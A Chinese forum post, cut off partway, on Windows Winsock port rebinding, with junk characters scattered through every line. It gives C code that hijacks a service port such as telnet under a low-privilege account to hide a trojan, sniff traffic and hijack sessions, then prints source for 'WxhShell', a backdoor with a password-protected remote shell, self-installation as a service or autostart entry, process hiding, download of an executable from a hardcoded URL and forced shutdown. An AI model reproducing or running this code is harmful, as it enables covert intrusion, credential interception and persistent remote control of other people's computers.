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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zze(Ik  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a>_Cxsb&`  
=|Q7k+b  
  saddr.sin_family = AF_INET; F:3*i^ L  
RV%aFI )  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 49e~/YY  
r[u@ [  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E~b Yk6  
2r 0u[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KS9 e V  
rM{3]v{~  
  这意味着什么?意味着可以进行如下的攻击: ptA-rX.  
^GS,4[)H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Boi?Bt  
%T_4n^beFQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @u4q\G\  
?E6*Ef  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N9|v%-_?)  
``Yw-|&:Ae  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]<Ugg  
Q5!"tF p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qGH s2Og  
; aI`4;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $L@os2  
vWGjc2_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j/C.='?%  
=m+'orJ1  
  #include iJ7?6)\  
  #include 2O*(F>>dT  
  #include FHoY=fCI  
  #include    *.+Eg$'~V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :(^, WOf  
  int main() Dej2-Y  
  { & rsNB:!  
  WORD wVersionRequested; 8/tvS8I#y  
  DWORD ret; zG[GyyAQ  
  WSADATA wsaData; L_k'r\L  
  BOOL val; \nX5 $[  
  SOCKADDR_IN saddr; L#\!0YW/@  
  SOCKADDR_IN scaddr; ]O\m(of R  
  int err; DbL=2  
  SOCKET s; 1=9M@r~ ^  
  SOCKET sc; CP%?,\  
  int caddsize; bPe|/wp  
  HANDLE mt; 5LIbHSK  
  DWORD tid;   gM5`UH|  
  wVersionRequested = MAKEWORD( 2, 2 ); O|Z5SSlk  
  err = WSAStartup( wVersionRequested, &wsaData ); mvCH$}w8&  
  if ( err != 0 ) { NrNxI'M G  
  printf("error!WSAStartup failed!\n"); Z^fkv  
  return -1; (,i&pgVZ  
  } aYmC LLj  
  saddr.sin_family = AF_INET; Ki8]+W37  
   +V N&kCx)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4ox[,  
2v;F@fUB.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *k(|r>  
  saddr.sin_port = htons(23); L^7"I 4=(D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \["'%8[:gR  
  { 'f?=ks<  
  printf("error!socket failed!\n"); 1R e5)Y:i  
  return -1; /W vgC)  
  } 8 <~E;:  
  val = TRUE; LH" CIL2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~zcHpxO^W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d/m.VnW  
  { IwR/4LYI  
  printf("error!setsockopt failed!\n"); /c>@^  
  return -1; =Eh~ wm  
  } Hp@nxtKxW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G<8d=}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5Y#W$Fx($R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  $O)fHD'  
o-m9}pV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N N1(f  
  { V1 H3}  
  ret=GetLastError(); 2<  "-  
  printf("error!bind failed!\n"); &* Aems{-  
  return -1; 7a0kat '\  
  } Q#Vg5H4  
  listen(s,2); +im>|  
  while(1) ZbZCW:8>k  
  { g~A~|di|  
  caddsize = sizeof(scaddr);  ^O9_dP:  
  //接受连接请求 ??7c9l5,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8vuA`T!~G  
  if(sc!=INVALID_SOCKET) j~ 'a %P  
  { JxV 0y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m7F"kD  
  if(mt==NULL) ,f]GOH  
  { Y >83G`*}b  
  printf("Thread Creat Failed!\n"); Zdm7As]  
  break; a@ub%laL Z  
  } D=0^" 7K  
  } 6^'BhHP  
  CloseHandle(mt); :O~*}7G  
  } Jw b'5[R  
  closesocket(s); )Gu:eYp+`  
  WSACleanup(); $&C~Qti|G  
  return 0; $YNWT\FE  
  }   k^Gf2%k  
  DWORD WINAPI ClientThread(LPVOID lpParam) RTJ\|#w  
  { ):c)$$dn  
  SOCKET ss = (SOCKET)lpParam; !=Hu?F p  
  SOCKET sc; (sfy14>\  
  unsigned char buf[4096]; vpoYb  
  SOCKADDR_IN saddr; 4fq:W`9sN  
  long num; hA6D*8oXD  
  DWORD val; 5xsGSoa+  
  DWORD ret; Kz>Bw;R(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EV$$wrohQ`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /ZeN\ybx  
  saddr.sin_family = AF_INET; j -R9=vB2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Sp2<rI  
  saddr.sin_port = htons(23); 1c%ee$Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K4{1}bU{>  
  { 3utv  
  printf("error!socket failed!\n"); (9phRo)>  
  return -1; u@{z xYn  
  } FS1> J%P  
  val = 100; 3rUuRsXn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )qL UHE=  
  { [2 yxTK  
  ret = GetLastError(); g9XAUZe  
  return -1; bh~"LQS1  
  } @uJ^k >B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H E'1Wa0r  
  { ?uBZ"^'  
  ret = GetLastError(); N Qdz]o  
  return -1; 0|^/e -^  
  } Z +vT76g3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gjGKdTr'  
  { I8s%wY9  
  printf("error!socket connect failed!\n"); ^F e %1Lnt  
  closesocket(sc); v RR(b!Lq  
  closesocket(ss); Bc!ZHW *&  
  return -1; ; { MK  
  } WA$Ug  
  while(1) m,"N 4a@  
  { 'WC> _ L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'PBuf:9lN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z K+C&X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %^?yI  
  num = recv(ss,buf,4096,0); X S&oW  
  if(num>0) c2,;t)%@E  
  send(sc,buf,num,0); KIeTZVu$%  
  else if(num==0) @|i f^  
  break; 0YApaL+jt  
  num = recv(sc,buf,4096,0); 8do7`mN  
  if(num>0) P> wDr`*  
  send(ss,buf,num,0); 0Gr^#`  
  else if(num==0) "{lw;AA5F  
  break; VOY#Y*)g  
  } (=/%_jj  
  closesocket(ss); Q6e;hl  
  closesocket(sc); O5lP92],  
  return 0 ; v1m'p:7uGB  
  } w9c^IS  
VGPBD-6)  
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========================================================== n-5@<y^  
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下边附上一个代码,,WXhSHELL \(.])I>)eh  
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========================================================== IcDAl~uG  
="<S1}.  
#include "stdafx.h" \LI 2=J*  
&|% F=/VU  
#include <stdio.h> j0eGg::  
#include <string.h> rRK^vfoJ`  
#include <windows.h> v6$ }saTX  
#include <winsock2.h> OfAh? ^R  
#include <winsvc.h> d ~`_;.z  
#include <urlmon.h> rF*L@HI  
D |lm,  
#pragma comment (lib, "Ws2_32.lib") |rhCQ"H  
#pragma comment (lib, "urlmon.lib") )= :gO`"D  
@ a$HJ:  
#define MAX_USER   100 // 最大客户端连接数 TSp;Vr OP  
#define BUF_SOCK   200 // sock buffer bTrQ(qp  
#define KEY_BUFF   255 // 输入 buffer KkF3E*q\H  
/;K?Y#mf~j  
#define REBOOT     0   // 重启 u]Eyb),Gy  
#define SHUTDOWN   1   // 关机 *@C]\)  
yE80*C~d  
#define DEF_PORT   5000 // 监听端口 -eA3o2'  
|K jy4.2  
#define REG_LEN     16   // 注册表键长度 aV6l"A]  
#define SVC_LEN     80   // NT服务名长度 M10u?  
0nDlqy6b1b  
// 从dll定义API JOA_2qa>\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bp.z6x4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QSNLo_z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YdT-E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r8uc.z2%  
t622b?w  
// wxhshell配置信息 Z#i5=,Bk  
struct WSCFG { ! 54(K6a[  
  int ws_port;         // 监听端口 ,M)NC%0X  
  char ws_passstr[REG_LEN]; // 口令 bns([F  
  int ws_autoins;       // 安装标记, 1=yes 0=no u>cU*E4/  
  char ws_regname[REG_LEN]; // 注册表键名 ?d? cD  
  char ws_svcname[REG_LEN]; // 服务名 G.}Ex!8R7_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a33SY6.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @NY$.K#]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S[_Hc$7U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o YZmz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ti)4J2c,8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rf%NfU  
v.aSf`K  
}; m&h5u,  
u{@b_7 5Y  
// default Wxhshell configuration 6kc/  
struct WSCFG wscfg={DEF_PORT, 5nhc|E)C  
    "xuhuanlingzhe", G#~6a%VW  
    1, ic+tn9f\  
    "Wxhshell",  1aAYBV<3  
    "Wxhshell", ua'dm6",:  
            "WxhShell Service", dE _I=v  
    "Wrsky Windows CmdShell Service", DJF-J#  
    "Please Input Your Password: ", 6J\Yi)v<  
  1, >;ucwLi  
  "http://www.wrsky.com/wxhshell.exe", TN=MZ{L  
  "Wxhshell.exe" sT^^#$ub  
    }; ,uFdhA(i@'  
nvyyV\w  
// 消息定义模块 #$qhxYyd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZUW~ZZ7Z:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HKr6h?Si^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &>!WhC16  
char *msg_ws_ext="\n\rExit."; tVf1]3(_>  
char *msg_ws_end="\n\rQuit."; LAoX'^6  
char *msg_ws_boot="\n\rReboot..."; gXR1nnK  
char *msg_ws_poff="\n\rShutdown..."; )$wX~k  
char *msg_ws_down="\n\rSave to "; g!k'tizYD  
 mB:I8g7  
char *msg_ws_err="\n\rErr!"; m>@$T x  
char *msg_ws_ok="\n\rOK!"; CDz-IQi  
n-cz xq%n  
char ExeFile[MAX_PATH]; !u} }V  
int nUser = 0; kdWk{ZT^  
HANDLE handles[MAX_USER]; x{B%TM-Ey  
int OsIsNt; ">? y\#O A  
qX(sx2TK  
SERVICE_STATUS       serviceStatus; 0CYm%p8!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ye9-%~sjX  
$X%w9l e  
// 函数声明 415 95x:  
int Install(void); Jk.Ec )w  
int Uninstall(void); xY/ S;dE  
int DownloadFile(char *sURL, SOCKET wsh); U 9?!|h;7  
int Boot(int flag); \mt0mv;c  
void HideProc(void); d45JT?qg&  
int GetOsVer(void); FuYV}C  
int Wxhshell(SOCKET wsl); R ks3L  
void TalkWithClient(void *cs); h4xRRyK  
int CmdShell(SOCKET sock); IEB|Y  
int StartFromService(void); #eqy!QdePf  
int StartWxhshell(LPSTR lpCmdLine); k^pf)*p  
=9oN#4mWK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s -Mzl?o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?hu$  
~6nq$(#  
// 数据结构和表定义 ]i=\5FH e  
SERVICE_TABLE_ENTRY DispatchTable[] = kpkN GQ2  
{ mn=G6h T}W  
{wscfg.ws_svcname, NTServiceMain}, (+Yerc.NQt  
{NULL, NULL} Jmln*,Ol7  
}; #du!tx ( _  
ZQHANr= 6  
// 自我安装 ]JeA29   
int Install(void) lW,rzJ1  
{ i%+p\eeq*  
  char svExeFile[MAX_PATH]; !9l c6W  
  HKEY key; =$B:i>z<  
  strcpy(svExeFile,ExeFile); -P09u82  
=NH p%|  
// 如果是win9x系统,修改注册表设为自启动 0ih=<@1K  
if(!OsIsNt) { o)P'H"Ki  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y9TaU]7]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [T;0vv8  
  RegCloseKey(key); O)'Bx=S4Ke  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pI>i1f=W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m CFScT  
  RegCloseKey(key); zY<=r.m4  
  return 0; c}II"P  
    } C?bq7kD:H  
  } +jFcq:`#UG  
} |wKC9O@%  
else { CQo<}}-o  
%Ot22a  
// 如果是NT以上系统,安装为系统服务 Q'] _3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ta*B#2D>  
if (schSCManager!=0) ,%+i}H,3  
{ ?qviJDD|f  
  SC_HANDLE schService = CreateService r/E;tm [\  
  ( s@sr.'yU  
  schSCManager, /q4<ZS#  
  wscfg.ws_svcname, z?HP%g'M~  
  wscfg.ws_svcdisp, D>u1ngu  
  SERVICE_ALL_ACCESS, *dn~-W.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \N\Jny  
  SERVICE_AUTO_START, DiyviH  
  SERVICE_ERROR_NORMAL, 'H<0:bQ=I  
  svExeFile, D7b<&D@  
  NULL, \v7M`! &  
  NULL, 6@-VLO))O  
  NULL, Kr!(<i  
  NULL, 0xVue[ep  
  NULL s[ |sfqB1`  
  ); 1&~u:RUXe  
  if (schService!=0) #Sj:U1x  
  { *KO4H  
  CloseServiceHandle(schService); a%"My;8  
  CloseServiceHandle(schSCManager); G J=<~S"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !5Ko^:+Y  
  strcat(svExeFile,wscfg.ws_svcname); W8Z&J18AU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XV+s 5 C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '~{^c}  
  RegCloseKey(key); GZ# 6}/;b  
  return 0; gaaW:**y  
    } 0^4uZeW?  
  } ZPWY0&9  
  CloseServiceHandle(schSCManager); ~^QL"p:5|  
} 3jIi$X06  
} =dD<[Iz6  
?b0VB  
return 1; MR/jM@8  
} (MiEXU~v  
j?ihUNY!+  
// 自我卸载 -b "7WBl  
int Uninstall(void) yjODa90!G  
{ 7@u0;5p|  
  HKEY key; =(ts~^  
|?n=~21"1O  
if(!OsIsNt) { utxT$1iJn~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P8DY*B k  
  RegDeleteValue(key,wscfg.ws_regname); GwHMXtj4  
  RegCloseKey(key); woJO0hHR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =e/{fUg8f  
  RegDeleteValue(key,wscfg.ws_regname); 'f9 fw^  
  RegCloseKey(key); 5n,?>> p$  
  return 0; E.]sX_X?  
  } 7pDov@K<{  
} h V@C|*A  
} ^GG6%=g'  
else { Hxft~*  
77- Jx`C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sw{,l"]<  
if (schSCManager!=0) 76a+|TzR  
{ vr<6j/ty  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l/,O9ur-  
  if (schService!=0) U`_(Lq%5W  
  { ,.tv#j|A  
  if(DeleteService(schService)!=0) { YB/A0J  
  CloseServiceHandle(schService); T_bk%  
  CloseServiceHandle(schSCManager); K^bzZa+a  
  return 0; h% BA,C  
  } F|q-ZlpW-  
  CloseServiceHandle(schService); r- 0BLq]~{  
  } 8munw  
  CloseServiceHandle(schSCManager); 6k"'3AKaR  
} keNPlK%>  
} mHjds77e  
pIdJ+gu(s  
return 1; |[n-H;0  
} ^'Wkb7L  
n<6p0w  
// 从指定url下载文件 1J<Wth{  
int DownloadFile(char *sURL, SOCKET wsh) fyIL/7hzf4  
{ Xxcv 5.ug  
  HRESULT hr; t6&6kl  
char seps[]= "/"; 6Clxe Lk  
char *token; 57e'a&}e  
char *file; uj|{TV>v9  
char myURL[MAX_PATH]; !={Z]J  
char myFILE[MAX_PATH]; ;o]'7qGb  
:IDD(<^9  
strcpy(myURL,sURL); ; mF-y,E  
  token=strtok(myURL,seps); dxbP'2~  
  while(token!=NULL) YXxaD@  
  { _7>$'V{  
    file=token; 2%"2~d7  
  token=strtok(NULL,seps); }Z*@EWc>  
  } +L1%mVq]y  
I#QBJ#  
GetCurrentDirectory(MAX_PATH,myFILE); hW[/{2<@  
strcat(myFILE, "\\"); i8pM,Ppi~  
strcat(myFILE, file); O1IR+"0  
  send(wsh,myFILE,strlen(myFILE),0); =M^4T?{T  
send(wsh,"...",3,0); 3eQ-P8LS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j(mbUB*  
  if(hr==S_OK) `9rwu:3i  
return 0; @mBZu!,  
else laN:H mR8  
return 1; 7UvfXzDNC  
PeGL Rbx34  
} )K.~A&y@  
@.ebQR-:H  
// 系统电源模块 v'0A$`w`  
int Boot(int flag) Ovh  
{ )p'ZSXb  
  HANDLE hToken; TB 9{e!4  
  TOKEN_PRIVILEGES tkp; ,-^Grmr4M  
O_aZ\28};C  
  if(OsIsNt) { kx8\]'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 57IAH$n8o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^c3~CD5H 3  
    tkp.PrivilegeCount = 1; 6KPM4#61o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;$Q `JN=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bI.LE/yk  
if(flag==REBOOT) { K5gh7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^T`)ltI]V  
  return 0; :&ir5xHS  
} <4S Y'-w  
else { IMLk{y%6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O\;Z4qn2=  
  return 0; d;O16xcM/  
} U<J4\|1?7'  
  } fCTdM+t  
  else { (&R /ns~  
if(flag==REBOOT) { HbQ `b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'PRsZ`x.  
  return 0; R=P=?U.  
} Y`jvza%  
else { $j*%}x~[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %Cbqi.iuQ  
  return 0; |k$^RU<OF  
} FWI<_KZ O  
} ]s-;*o\H  
x? 3U3\W  
return 1; W1S7%6y_1  
} 8P5yaS_  
Rhh5r0 \5  
// win9x进程隐藏模块 ||3%REliC  
void HideProc(void) !'uL  
{ V(Ll]g/T_;  
PjZsMHW%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ag=>F5  
  if ( hKernel != NULL )  ZaJg$  
  { mne4uW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a;JB8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (A(7?eq  
    FreeLibrary(hKernel); N9hs<b+N_  
  } *TQXE:vZ[  
0o~? ]C  
return; ;0DT f  
} 3T^f#UT  
-N;$L~`iAt  
// 获取操作系统版本 l&l&e OE  
int GetOsVer(void) UFBggT\  
{ :VpRpj4f  
  OSVERSIONINFO winfo; o?(({HH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x0 1n  
  GetVersionEx(&winfo); (os}s8cIh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !h3 $C\  
  return 1; d-Vttxa6  
  else c,nE@~ul2  
  return 0; Hx[YHu KL^  
} 5%,5Xe4p  
E~vM$$O$  
// 客户端句柄模块 tY~gn|M  
int Wxhshell(SOCKET wsl) .vsrZ_y?  
{ o1C1F}gxU  
  SOCKET wsh; QND{3Q  
  struct sockaddr_in client; 5(RFk Zn4[  
  DWORD myID; jMv qKJ(<  
-|;{/ s5  
  while(nUser<MAX_USER) -xs @rV`  
{ {a aI<u  
  int nSize=sizeof(client); <QbD ;(%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kn-cwz5  
  if(wsh==INVALID_SOCKET) return 1; "ee:Z_Sz  
ybLl[K(D=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2F* spu  
if(handles[nUser]==0) d-/{@   
  closesocket(wsh); 3cfJ(%'X  
else 4/UY*Us&  
  nUser++; Wno{&I63  
  } (;DnL|"'8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w#|uR^~  
}ie  O  
  return 0;  `{w.OK  
} @@~OA>^  
j}9][Fm1*  
// 关闭 socket {l$DNnS  
void CloseIt(SOCKET wsh) |R$V[  
{ r}351S5(  
closesocket(wsh); FW* k O  
nUser--; =rSJ6'2("  
ExitThread(0); Ze+p;v  
} '}#=I 9=ss  
UrtA]pc3L  
// 客户端请求句柄 \fC)]QZ  
void TalkWithClient(void *cs) 5cj]Y)I-~  
{ B(tLV9B3Q  
C \"nlNKw  
  SOCKET wsh=(SOCKET)cs; qw^kA?  
  char pwd[SVC_LEN]; cGF_|1`  
  char cmd[KEY_BUFF]; wEd+Ds]$  
char chr[1]; a#3+PB #  
int i,j; Ws;S=|9,7~  
='r86vq  
  while (nUser < MAX_USER) { Ff6l"A5  
"&h{+DHS  
if(wscfg.ws_passstr) { co!o+jP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s<3cvF<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hq<Sg4nz  
  //ZeroMemory(pwd,KEY_BUFF); SURbH;[   
      i=0; ogD 8qrZ6J  
  while(i<SVC_LEN) { pJ8;7u  
U\OfB'Dn  
  // 设置超时 TCShS}q;%  
  fd_set FdRead; z[Sq7bbYO  
  struct timeval TimeOut; ',Y`XP"Q  
  FD_ZERO(&FdRead); l Tpn/  
  FD_SET(wsh,&FdRead); O3ij/8f  
  TimeOut.tv_sec=8; ivTx6-]  
  TimeOut.tv_usec=0; |,YyuCQcL[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6.#5Ra   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B%y?+4;zA  
pXn(#n<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %[3?vX  
  pwd=chr[0]; HC1jN8WDY  
  if(chr[0]==0xd || chr[0]==0xa) { 2ed4xh V  
  pwd=0; /%qw-v9qPV  
  break; E2.@zY|:  
  } w3,DsEXu  
  i++; KDTG9KC  
    } * AsILK0  
.`w[A  
  // 如果是非法用户,关闭 socket zNTcy1Sthk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iakqCjV  
} NT(gXEZ  
:Q\Es:y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <HYK9{Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LYTx8  
SNLZU%jan  
while(1) { sd(Yr6~..  
Z]L_{=*  
  ZeroMemory(cmd,KEY_BUFF); C1V:_-  
5a8[0&hA 2  
      // 自动支持客户端 telnet标准   IZ9L ;"}  
  j=0; CdB sd  
  while(j<KEY_BUFF) { p~v rr 5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o<1a]M|  
  cmd[j]=chr[0]; gteG*pi  
  if(chr[0]==0xa || chr[0]==0xd) { 8]G  
  cmd[j]=0; U2hPsF4f  
  break; #:q$sKQ_$  
  } FJI%+$]  
  j++; wl^7.IR  
    } m!'moumL;  
*U<l$gajq  
  // 下载文件 $!?tJ@{  
  if(strstr(cmd,"http://")) { 2il)@&^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %R|_o<(#MJ  
  if(DownloadFile(cmd,wsh)) L>trLD1pt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l g0 'qH8  
  else  F,hiKq*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8{ jEAK  
  } , ZisJksk  
  else { cA,`!dG2,  
hq[:U?!Tt  
    switch(cmd[0]) { zcqv0lM '  
  f0^;*Y  
  // 帮助 (ncm]W  
  case '?': { jH5VrN*Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^ <$$h  
    break; s (2/]f$  
  } 4z;@1nN_8a  
  // 安装 \zx &5a #  
  case 'i': { ~]w|ULNa3|  
    if(Install()) _ ^2\/@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # dA-dN  
    else o$4i{BL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " Y1]6 Zu  
    break; wI0NotC  
    } "r+v^  
  // 卸载 R5"5Z?'  
  case 'r': { a+-X\qN  
    if(Uninstall()) c }-AD r9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%6{ ePh{  
    else V/t/uNm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y^u9Ttf{  
    break; `] fud{  
    } e> zv+9'Q  
  // 显示 wxhshell 所在路径 eb ` !  
  case 'p': { Rfx}[!<{N  
    char svExeFile[MAX_PATH]; c>$PLO^  
    strcpy(svExeFile,"\n\r"); n%Rl$  
      strcat(svExeFile,ExeFile); }EMds3<  
        send(wsh,svExeFile,strlen(svExeFile),0); R(^2+mV?  
    break; 7A,lQh  
    } xs}3=&c(  
  // 重启 _o+z#Fnz  
  case 'b': { M+|J;caX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DN X-\  
    if(Boot(REBOOT)) 7Rq|N$y.3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #F^0uUjq  
    else { ~K 2.T7=  
    closesocket(wsh); m)1+D"z  
    ExitThread(0); f{HjM? Mb3  
    } S - N [  
    break; Y[R;UJE`5  
    } F ]x2;N  
  // 关机 xHpB/P~  
  case 'd': { G~+BO'U9'G  
